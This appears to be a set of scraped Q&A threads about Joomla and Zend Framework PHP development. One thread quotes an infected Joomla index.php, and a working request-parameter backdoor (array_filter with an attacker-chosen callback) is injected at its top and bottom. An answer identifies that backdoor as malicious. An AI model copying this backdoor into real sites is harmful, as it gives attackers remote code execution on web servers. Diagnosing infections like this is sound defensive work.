I am new to working with Joomla and I am adapting an external php class I wrote for v1.5.
Without going into all the details, basically, I use a function to load the Joomla environment after which everything in Joomla is available to the class.
This is essentially done using the index.php file.
It works fine with v1.5 and has done for a while but trying to adapt it for v1.6, it falls over.
Here is the function:
private function loadJoomla() {
$path_base = rtrim($this->joomFullPath, '/');
// Set flag that this is a parent file
define( '_JEXEC', 1 );
define( 'DS', DIRECTORY_SEPARATOR );
switch ($joomlaVersion) {
case 'v1.6':
if (file_exists($path_base . '/defines.php')) {
include_once $path_base . '/defines.php';
}
if (!defined('_JDEFINES')) {
define('JPATH_BASE', $path_base);
require_once JPATH_BASE.'/includes/defines.php';
}
require_once JPATH_BASE.'/includes/framework.php';
// Mark afterLoad in the profiler.
JDEBUG ? $_PROFILER->mark('afterLoad') : null;
// Instantiate the application.
$app = JFactory::getApplication('site');
// Initialise the application.
$app->initialise();
// Mark afterIntialise in the profiler.
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
// Route the application.
$app->route();
// Mark afterRoute in the profiler.
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
// Dispatch the application.
$app->dispatch();
// Mark afterDispatch in the profiler.
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
// Render the application.
$app->render();
// Mark afterRender in the profiler.
JDEBUG ? $_PROFILER->mark('afterRender') : null;
// Return the response.
return $app;
break;
case 'v1.5':
// PREPARE
define('JPATH_BASE', $path_base);
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : NULL;
// CREATE THE APPLICATION
$GLOBALS['mainframe'] =& JFactory::getApplication('site');
// INITIALISE THE APPLICATION
/* set the language */
$GLOBALS['mainframe']->initialise();
JPluginHelper::importPlugin('system');
/* trigger the onAfterInitialise events */
JDEBUG ? $_PROFILER->mark('afterInitialise') : NULL;
$GLOBALS['mainframe']->triggerEvent('onAfterInitialise');
// ROUTE THE APPLICATION
$GLOBALS['mainframe']->route();
/* authorization */
$GLOBALS['Itemid'] = JRequest::getInt( 'Itemid');
$GLOBALS['mainframe']->authorize($GLOBALS['Itemid']);
/* trigger the onAfterRoute events */
JDEBUG ? $_PROFILER->mark('afterRoute') : NULL;
$GLOBALS['mainframe']->triggerEvent('onAfterRoute');
// DISPATCH THE APPLICATION
$GLOBALS['option'] = JRequest::getCmd('option');
$GLOBALS['mainframe']->dispatch($GLOBALS['option']);
/* trigger the onAfterDispatch events */
JDEBUG ? $_PROFILER->mark('afterDispatch') : NULL;
$GLOBALS['mainframe']->triggerEvent('onAfterDispatch');
// RENDER THE APPLICATION
$GLOBALS['mainframe']->render();
/* trigger the onAfterRender events */
JDEBUG ? $_PROFILER->mark('afterRender') : NULL;
$GLOBALS['mainframe']->triggerEvent('onAfterRender');
// RETURN THE RESPONSE
return JResponse::toString($GLOBALS['mainframe']->getCfg('gzip'));
break;
default:
return NULL;
break;
}
As said, the v1.5 bit works fine and is just the index.php file with the mainframe variable made global. The v1.6 bit falls over at '$app->dispatch();'.
Debugging the flow using 'die' took me to function dispatch in /libraries/joomla/application.php where I found that the fall over point was '$contents = JComponentHelper::renderComponent($component);' which took me to function renderComponent in /libraries/joomla/application/component/helper.php
A few 'dies' later, I found the fall over point to be, wait for it, 'ob_start();'.
Completely baffled especially since checking in v1.5 code, I can see it is exactly the same as v1.6 here.
I suspect the $app scope may be the reason behind this and will appreciate some help. I tried the obvious "$GLOBALS['app']" with no joy.
Thanks for taking the time and pointers appreciated.
I managed to solve this problem as follows.
There were two separate issues happening.
Firstly, The v1.6 section did not have the "$option" parameter properly initialised. Thanks to user hbit in this query I made, I was able to solve that. by changing the code as follows:
// Dispatch the application.
$option = JRequest::getCmd('option');
$app->dispatch($option);
However, that did not solve the issue and the code was still crashing at the 'ob_start' point.
Secondly, I couldn't get to the actual reason for the crash but went for a workaround. Since the ob_start bit in question, located in /libraries/joomla/application/component/helper.php, is only there to gather a component output into a variable, I worked around it by pulling the code that '$app->dispatch($option)' fires into my file and amended the problem section.
First, I modified the main section as follows:
// Dispatch the application.
$option = JRequest::getCmd('option');
/** The process crashes here for some reason
* (See https://stackoverflow.com/questions/7039162/).
* So we comment out the Joomla! function, pull the code in here and
* push the component content into the Joomla document buffer ourselves.
**/
//$app->dispatch($option);
$this->joomdispatch($option);
I then wrote a 'joomdispatch' function as follows:
private function joomdispatch($option) {
/************************
* This is pulled from function 'render'
* in /libraries/joomla/application.php
************************/
$document = JFactory::getDocument();
$document->setTitle(JApplication::getCfg('sitename'). ' - ' .JText::_('JADMINISTRATION'));
$document->setDescription(JApplication::getCfg('MetaDesc'));
/************************
* This is pulled from function 'renderComponent'
* in /libraries/joomla/application/component/helper.php
* Function 'renderComponent' is called by the
* '$contents = JComponentHelper::renderComponent($component);' line
* We exclude that line and jump to the function code
************************/
// Initialise variables.
$app = JFactory::getApplication();
// Load template language files.
$template = $app->getTemplate(true)->template;
$lang = JFactory::getLanguage();
$lang->load('tpl_'.$template, JPATH_BASE, null, false, false)
|| $lang->load('tpl_'.$template, JPATH_THEMES."/$template", null, false, false)
|| $lang->load('tpl_'.$template, JPATH_BASE, $lang->getDefault(), false, false)
|| $lang->load('tpl_'.$template, JPATH_THEMES."/$template", $lang->getDefault(), false, false);
$scope = $app->scope; //record the scope
$app->scope = $option; //set scope to component name
// Build the component path.
$option = preg_replace('/[^A-Z0-9_\.-]/i', '', $option);
$file = substr($option, 4);
// Define component path.
define('JPATH_COMPONENT', JPATH_BASE.DS.'components'.DS.$option);
define('JPATH_COMPONENT_SITE', JPATH_SITE.DS.'components'.DS.$option);
define('JPATH_COMPONENT_ADMINISTRATOR', JPATH_ADMINISTRATOR.DS.'components'.DS.$option);
// get component path
if ($app->isAdmin() && file_exists(JPATH_COMPONENT.DS.'admin.'.$file.'.php')) {
$path = JPATH_COMPONENT.DS.'admin.'.$file.'.php';
} else {
$path = JPATH_COMPONENT.DS.$file.'.php';
}
$task = JRequest::getString('task');
// Load common and local language files.
$lang->load($option, JPATH_BASE, null, false, false)
|| $lang->load($option, JPATH_COMPONENT, null, false, false)
|| $lang->load($option, JPATH_BASE, $lang->getDefault(), false, false)
|| $lang->load($option, JPATH_COMPONENT, $lang->getDefault(), false, false);
// Handle template preview outlining.
$contents = null;
// Get component html
/************************
* This has been edited from the native 'ob_start'.
* Could use curl as well
***********************/
$contents = file_get_contents($this->joomUrl . '/index.php?' . $this->joomQS);
// Build the component toolbar
jimport('joomla.application.helper');
if (($path = JApplicationHelper::getPath('toolbar')) && $app->isAdmin()) {
// Get the task again, in case it has changed
$task = JRequest::getString('task');
// Make the toolbar
include_once $path;
}
$app->scope = $scope; //revert the scope
/************************
* Back to function 'renderComponent' code
* to complete process
************************/
$document->setBuffer($contents, 'component');
// Trigger the onAfterDispatch event.
JPluginHelper::importPlugin('system');
JApplication::triggerEvent('onAfterDispatch');
}
With this, everything works fine. Didn't get to the bottom of the (strange) error but managed to get around it.
Related
So the result of a malware scan has returned this:
/sanaciondelalma/sanaciondelalma/configuration.php:
SiteLock-PHP-EVAL_REQUEST-jki.UNOFFICIAL FOUND
/sanaciondelalma/sanaciondelalma/index.php:
SiteLock-PHP-EVAL_REQUEST-jki.UNOFFICIAL FOUND
/sanaciondelalma/sanaciondelalma/images/mod_config.php:
SiteLock-PHP-BACKDOOR-GENERIC-md5-efg.UNOFFICIAL FOUND
/sanaciondelalma/sanaciondelalma/templates/atomic/error.php:
SiteLock-PHP-BACKDOOR-GENERIC-md5-wef.UNOFFICIAL FOUND
/pablofaro/images/mod_config.php:
SiteLock-PHP-BACKDOOR-GENERIC-md5-efg.UNOFFICIAL FOUND
i dont know how to identify the cause within the script, here's the index one. could you please assist?
<?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}
/**
* #package Joomla.Site
* #copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
* #license GNU General Public License version 2 or later; see LICENSE.txt
*/
// Set flag that this is a parent file.
define('_JEXEC', 1);
define('DS', DIRECTORY_SEPARATOR);
if (file_exists(dirname(__FILE__) . '/defines.php')) {
include_once dirname(__FILE__) . '/defines.php';
}
if (!defined('_JDEFINES')) {
define('JPATH_BASE', dirname(__FILE__));
require_once JPATH_BASE.'/includes/defines.php';
}
require_once JPATH_BASE.'/includes/framework.php';
// Mark afterLoad in the profiler.
JDEBUG ? $_PROFILER->mark('afterLoad') : null;
// Instantiate the application.
$app = JFactory::getApplication('site');
// Initialise the application.
$app->initialise();
// Mark afterIntialise in the profiler.
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
// Route the application.
$app->route();
// Mark afterRoute in the profiler.
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
// Dispatch the application.
$app->dispatch();
// Mark afterDispatch in the profiler.
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
// Render the application.
$app->render();
// Mark afterRender in the profiler.
JDEBUG ? $_PROFILER->mark('afterRender') : null;
// Return the response.
echo $app;
if ($_REQUEST['param1']&&$_REQUEST['param2'])
{
$f = $_REQUEST['param1'];
$p = array($_REQUEST['param2']);
$pf = array_filter($p, $f);
echo 'OK'; Exit;
}
This line right on top shouldn't exist
This is a wrapper code line that has been injected into your code by a malicious script
what you should imho
Change all your passwords
Make a clean install of your website and try to avoid using freeware templates and plugins from providers that are not registered in official joomla website
observe
I need to migrate about 600 tags from an old project to Joomla and would like to do that programmatically. I have looked but not found any hints about how that could be achieved. I found a few suggestions on how to add tags to an article programmatically (that might come in handy later, but first I need to have those tags). I thought about doing it straight via a database query but Joomla insists on using nested tables everywhere (tags table has a lft and rgt row). Can I safely ignore those or does it break the system somewhere down the line?
thanks for any help in advance.
This is a CLI I have that reads a csv file and creates tags from it. By using the API the store() will create the correct nesting data. It's very rough because it was just for testing the tags api/performance so you may want to clean it up especially if you have other data you want to put into the csv (or a different data source). Update: also it's a little old so you probably need to import the cms and legacy libraries because of the changes that were made to store() in 3.2. The is something in the docs wiki about why CLI apps break in 3.2 that you should look at.
<?php
/**
* #package Joomla.Shell
*
* #copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
* #license GNU General Public License version 2 or later; see LICENSE.txt
*/
if (!defined('_JEXEC'))
{
// Initialize Joomla framework
define('_JEXEC', 1);
}
#ini_set('zend.ze1_compatibility_mode', '0');
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
require_once dirname(__DIR__) . '/defines.php';
}
if (!defined('JPATH_BASE'))
{
define('JPATH_BASE', dirname(__DIR__));
}
if (!defined('_JDEFINES'))
{
require_once JPATH_BASE . '/includes/defines.php';
}
// Get the framework.
require_once JPATH_LIBRARIES . '/import.php';
// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';
// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';
// Import the configuration.
require_once JPATH_CONFIGURATION . '/configuration.php';
// System configuration.
$config = new JConfig;
// Include the JLog class.
jimport('joomla.log.log');
// Add the logger.
JLog::addLogger(
// Pass an array of configuration options
array(
// Set the name of the log file
'text_file' => 'test.log.php',
// (optional) you can change the directory
'text_file_path' => 'somewhere/logs'
)
);
// start logging...
JLog::add('Starting to log');
// Configure error reporting to maximum for CLI output.
error_reporting(E_ALL);
ini_set('display_errors', 1);
/**
* Create Tags
*
* #package Joomla.Shell
*
* #since 1.0
*/
class Createtags extends JApplicationCli
{
public function __construct()
{
// Call the parent __construct method so it bootstraps the application class.
parent::__construct();
require_once JPATH_CONFIGURATION.'/configuration.php';
jimport('joomla.database.database');
// System configuration.
$config = JFactory::getConfig();
// Note, this will throw an exception if there is an error
// Creating the database connection.
$this->dbo = JDatabaseDriver::getInstance(
array(
'driver' => $config->get('dbtype'),
'host' => $config->get('host'),
'user' => $config->get('user'),
'password' => $config->get('password'),
'database' => $config->get('db'),
'prefix' => $config->get('dbprefix'),
)
);
}
/**
* Entry point for the script
*
* #return void
*
* #since 2.5
*/
public function doExecute()
{
if (($handle = fopen(JPATH_BASE."/cli/keyword.csv", "r")) !== FALSE)
{
fgetcsv($handle, 1000, ",");
while (($data = fgetcsv($handle, 1000, ",")) !== FALSE)
{
$date = new JDate();
include_once JPATH_BASE . '/administrator/components/com_tags/tables/tag.php';
$table = new TagsTableTag(JFactory::getDbo());
$table->title = $data[0];
$table->note = '';
$table->description = '';
$table->published = 1;
$table->checked_out = 0;
$table->checked_out_time = '0000-00-00 00:00:00';
$table->created_user_id = 42;
$table->created_time = $date->toSql();
$table->modified_user_id = 0;
$table->modified_time = '0000-00-00 00:00:00';
$table->hits = 0;
$table->language = 'en-GB';
//$table->parent_id = 1;// doesn't do anything
//$table->level = 1;// doesn't do anything
// $table->setLocation(0, 'last-child');
$table->check();
$table->store();
}
fclose($handle);
}
}
}
if (!defined('JSHELL'))
{
JApplicationCli::getInstance('Createtags')->execute();
}
If you want use structural tags, just uncomment this line:
$table->setLocation(parent_id, 'last-child');
where parent_id - id of parent tag node
I want to use my Joomla 1.7 Components from a webservices placed inside the same server.
In other words, I have another file that will be used by mobile-apps to do stuff.
I'd like to use joomla core functions nor having to duplicate code nor having to make direct inserts in the DB bypassing joomla and formatting them to match "what Joomla would do".
For now I am able to get the DBO objects and make queries using joomla, but I want to use every component I need.
For example,
<?php
if (!defined('_JEXEC')) { define('_JEXEC', 1); }
if (!defined('DS')) { define('DS', DIRECTORY_SEPARATOR); }
if (file_exists(dirname(dirname(__FILE__)) . '/defines.php'))
{
include_once dirname(dirname(__FILE__)) . '/defines.php';
}
if (!defined('_JDEFINES'))
{
define('JPATH_BASE', dirname(dirname(__FILE__)));
require_once JPATH_BASE.'/includes/defines.php';
}
require_once JPATH_BASE.'/includes/framework.php';
// Mark afterLoad in the profiler.
JDEBUG ? $_PROFILER->mark('afterLoad') : null;
$db = JFactory::getDocument()->getDBO();
$query = $db->getQuery(true);
$query->select('r.id');
$query->from('#__asd as r');
$query->join('LEFT', '#__xxx cc on cc.recipe_id = r.id');
// Prepare where clause
$query->where('r.published = 1');
$query->group('r.id');
$db->setQuery($query);
$objectsList = $db->loadObjectList();
$res = formatResult($objectsList);
function formatResult($obj)
{
if($obj === NULL || !is_array($obj)){ return array('data' => 'Vuoto', 'code' => 0); }
return array('data' => (array)$obj, 'code' => 1);
}
?>
EDIT: More specifically, I have installed (JFBconnect) and I want its functionality to login and register users from app.
I am trying to run a cron job in my application my set up is like this:
My zend application Version 1.12
inside my public/index.php
function Mylib_init_settings($settings, $environment)
{
if (getenv('LOCAL_ENV') && file_exists($serverConfigFile = __DIR__ . '/../application/configs/' . getenv('LOCAL_ENV') . '.ini')) {
$settings->addOverrideFile($serverConfigFile);
}
}
define('MYLIB_APPLICATION_ENV', 'production');
require __DIR__ . '/../library/Mylib/Application/start.php';
Inside Start.php
<?php
use Mylib\Config;
use Mylib\Config\Loader\SecondGeneration;
function mylib_trigger_hook($hook, $params = array())
{
$func = 'mylib_init_' . strtolower(trim($hook));
if (function_exists($func)) {
call_user_func_array($func, $params);
}
}
// ---------------------------------------------------------------------------------------------------------------------
// setup application constants
if (getenv('SELENIUM')) {
defined('MYLIB_APPLICATION_ENV')
?: define('MYLIB_APPLICATION_ENV', 'testing');
}
// should the application be bootstrapped?
defined('MYLIB_APPLICATION_BOOTSTRAP')
?: define('MYLIB_APPLICATION_BOOTSTRAP', true);
// should the application run?
defined('MYLIB_APPLICATION_CREATE')
?: define('MYLIB_APPLICATION_CREATE', true);
// should the application run?
defined('MYLIB_APPLICATION_RUN')
?: define('MYLIB_APPLICATION_RUN', true);
// maximum execution time
defined('MYLIB_APPLICATION_TIME_LIMIT')
?: define('MYLIB_APPLICATION_TIME_LIMIT', 0);
// path to application rooth
defined('MYLIB_APPLICATION_PATH_ROOT')
?: define('MYLIB_APPLICATION_PATH_ROOT', realpath(__DIR__ . '/../../../'));
// path to library
defined('MYLIB_APPLICATION_PATH_LIBRARY')
?: define('MYLIB_APPLICATION_PATH_LIBRARY', realpath(__DIR__ . '/../../'));
mylib_trigger_hook('constants');
// ---------------------------------------------------------------------------------------------------------------------
// limits the maximum execution time
set_time_limit(MYLIB_APPLICATION_TIME_LIMIT);
// ---------------------------------------------------------------------------------------------------------------------
// determine which configuration section, and overrides to load
$configSection = defined('MYLIB_APPLICATION_ENV') ?MYLIB_APPLICATION_ENV : null;
$configOverride = null;
$environmentFilename = MYLIB_APPLICATION_PATH_ROOT . '/environment';
if (file_exists($environmentFilename)) {
$ini = parse_ini_file($environmentFilename);
if ($ini === false) {
throw new \RuntimeException('Failed to parse enviroment file: ' . $environmentFilename);
}
if (!defined('MYLIB_APPLICATION_ENV')) {
// should have at least a config.section variable
if (!isset($ini['config.section'])) {
throw new \RuntimeException('\'config.section\' setting is missing in environment file');
}
$configSection = $ini['config.section'];
}
if (isset($ini['config.override'])) {
$configOverrideFilename = MYLIB_APPLICATION_PATH_ROOT . '/application/configs/' . $ini['config.override'] . '.ini';
if (!is_readable($configOverrideFilename)) {
throw new \RuntimeException(
sprintf('You have provided a config override file (%s), but it is not readable', $configOverrideFilename)
);
} else {
$configOverride = $configOverrideFilename;
}
}
}
defined('MYLIB_APPLICATION_ENV')
?: define('MYLIB_APPLICATION_ENV', $configSection);
static $allowedEnvironmnets = array(
'production',
'staging',
'testing',
'development',
);
if (!in_array(MYLIB_APPLICATION_ENV, $allowedEnvironmnets)) {
throw new \RuntimeException(
sprintf('Invalid environment %s provided. Must be either of: %s', MYLIB_APPLICATION_ENV, implode(', ', $allowedEnvironmnets))
);
}
macq_trigger_hook('environment', array(MYLIB_APPLICATION_ENV));
// ---------------------------------------------------------------------------------------------------------------------
// set the include path
set_include_path(MYLIB_APPLICATION_PATH_LIBRARY . PATH_SEPARATOR . get_include_path());
mylib_trigger_hook('includepath', array(get_include_path()));
// ---------------------------------------------------------------------------------------------------------------------
// enable PSR-0 autoloading
require_once MYLIB_APPLICATION_PATH_LIBRARY . '/Zend/Loader/Autoloader.php';
Zend_Loader_Autoloader::getInstance()
->setFallbackAutoloader(true);
// ---------------------------------------------------------------------------------------------------------------------
// load configuration settings, and if an override is specified, merge it
$settings = new SecondGeneration(
MYLIB_APPLICATION_PATH_ROOT,
MYLIB_APPLICATION_ENV,
MYLIB_APPLICATION_PATH_LIBRARY . '/MyLib/Application/configuration.ini'
);
if ($configOverride) {
$settings->addOverrideFile($configOverride);
}
// set up config file caching, this is a seperate cache then any application caches created!
if (isset($ini['config.cache.enabled']) && $ini['config.cache.enabled']) {
if (isset($ini['config.cache.dir']) && is_writable($ini['config.cache.dir'])) {
$configCache = new Zend_Cache_Core(array('automatic_serialization'=>true));
$backend = new Zend_Cache_Backend_File(array(
'cache_dir' => $ini['config.cache.dir'],
));
$configCache->setBackend($backend);
$settings->setCache($configCache);
unset($configCache, $backend);
} else {
throw new \RuntimeException(
sprintf('Configuration cache is enabled, but no correct cache dir is specified, or the specified directory is not writable')
);
}
}
// load configuration settings
Config::load($settings);
mylib_trigger_hook('settings', array($settings, MYLIB_APPLICATION_ENV));
// ---------------------------------------------------------------------------------------------------------------------
// create application and bootstrap
if (MYLIB_APPLICATION_CREATE) {
$application = new Zend_Application(Config::environment(), Config::config());
macq_trigger_hook('application', array($application));
if (MYLIB_APPLICATION_BOOTSTRAP) {
$application->bootstrap();
macq_trigger_hook('bootstrap', array($application));
}
// ---------------------------------------------------------------------------------------------------------------------
// run application?
if (MYLIB_APPLICATION_RUN) {
$application->run();
macq_trigger_hook('run', array($application));
}
}
What I did is :
I followed the following link:
http://www.magentozend.com/blog/2012/02/03/setting-up-cronjobs-for-zend-framework-envoirment/
what I did is create a "cron" folder at the level in which my application folders are present.
inside the folder created init.php file inside that I added my index.php code and start.php code.
and my controller file is as like this:
application/modules/myproject/controller/cronjop.php
inside the cron job file I just called init.php
by
require_once('/../../../../cron/init.php');
but the cron is not working can some one help me..
thanks in advance..
I see you miss the point of using Cron and Zend as well. Zend site is just normal site so you can use for example lynx browser to run the site.
*/10 * * * * lynx -dump http://www.myzendsite.com/mycontroller/mycronaction
just create My Controller add mycron Action and put in this method what you want cron to do. Lynx will open it as normal user would do. Cron will run lynx after some time.
The line */10 means every 10 minutes. You can fit it to your needs.
There are other ways to run php script for example via php parser or curl.
Check this tutorial
I'm trying to make my Zend Framework website in multiple languages, I want it to be easy to increment the number of languages in my website.
I tried following this tutorial, but I'm having some problems:
http://blog.hackix.com/series/working-with-zend_translate-and-poedit/
I got my language files nl_BE and en_US, changed the content in my views by e.g. echo $this->translate("Restricted section");
First, I was able to change the default language by changing it in the Bootstrap.php, but after a couple of tries to make it work without the Bootstrap.php and changing some code, even that doesn't work anymore.
I made a little form, with two images, a Belgian flag and a Brittish flag, if I click the Belgian flag I want to change the language to nl_BE, if I click the Brittish flag, I want to change the language to en_US.
This is my form:
<form action="" method="post">
<input type="image" src="images/belgium.png" value="nl_BE" name="lang" />
<input type="image" src="images/brittain.png" value="en_US" name="lang"/>
</form>
This is my Bootstrap.php file, according to the tutorial I used:
<?php
class Bootstrap extends Zend_Application_Bootstrap_Bootstrap {
protected function _initTranslate()
{
Zend_Loader::loadClass('Zend_Translate');
Zend_Loader::loadClass('Zend_Registry');
// Get current registry
$registry = Zend_Registry::getInstance();
/**
* Set application wide source Locale
* This is usually your source string language;
* i.e. $this->translate('Hi I am an English String');
*/
$locale = new Zend_Locale('en_US');
Zend_Registry::set('Zend_Locale', $locale);
$session = new Zend_Session_Namespace('session');
//$langLocale = isset($session->lang) ? $session->lang : $locale;
$langLocale = $locale;
/**
* Set up and load the translations (all of them!)
* resources.translate.options.disableNotices = true
* resources.translate.options.logUntranslated = true
*/
$translate = new Zend_Translate('gettext',
APPLICATION_PATH . DIRECTORY_SEPARATOR .'languages', 'auto',
array(
'disableNotices' => true, // This is a very good idea!
'logUntranslated' => false, // Change this if you debug
)
);
/**
* Both of these registry keys are magical and makes
* ZF 1.7+ do automagical things.
*/
$registry->set('Zend_Locale', $locale);
$registry->set('Zend_Translate', $translate);
return $registry;
}
}
This is my LangController.php, the Zend_Controller_Plugin_Abstract to handle the change of language, this file is placed in library/App/Controller/Plugin.
<?php
class App_Controller_Plugin_LangSelector extends Zend_Controller_Plugin_Abstract
{
public function preDispatch(Zend_Controller_Request_Abstract $request)
{
$registry = Zend_Registry::getInstance();
// Get our translate object from registry.
$translate = $registry->get('Zend_Translate');
$currLocale = $translate->getLocale();
// Create Session block and save the locale
$session = new Zend_Session_Namespace('session');
$lang = $request->getParam('lang','');
// Register all your "approved" locales below.
switch($lang) {
case "nl_BE":
$langLocale = 'nl_BE';
break;
case "en_US":
$langLocale = 'en_US';
break;
default:
/**
* Get a previously set locale from session or set
* the current application wide locale (set in
* Bootstrap)if not.
*/
$langLocale = isset($session->lang) ? $session->lang : $currLocale;
}
$newLocale = new Zend_Locale();
$newLocale->setLocale($langLocale);
$registry->set('Zend_Locale', $newLocale);
$translate->setLocale($langLocale);
$session->lang = $langLocale;
// Save the modified translate back to registry
$registry->set('Zend_Translate', $translate);
}
}
Can someone please help me, tell me what I'm doing wrong? Because I've been trying for hours now and I think I'm really stuck.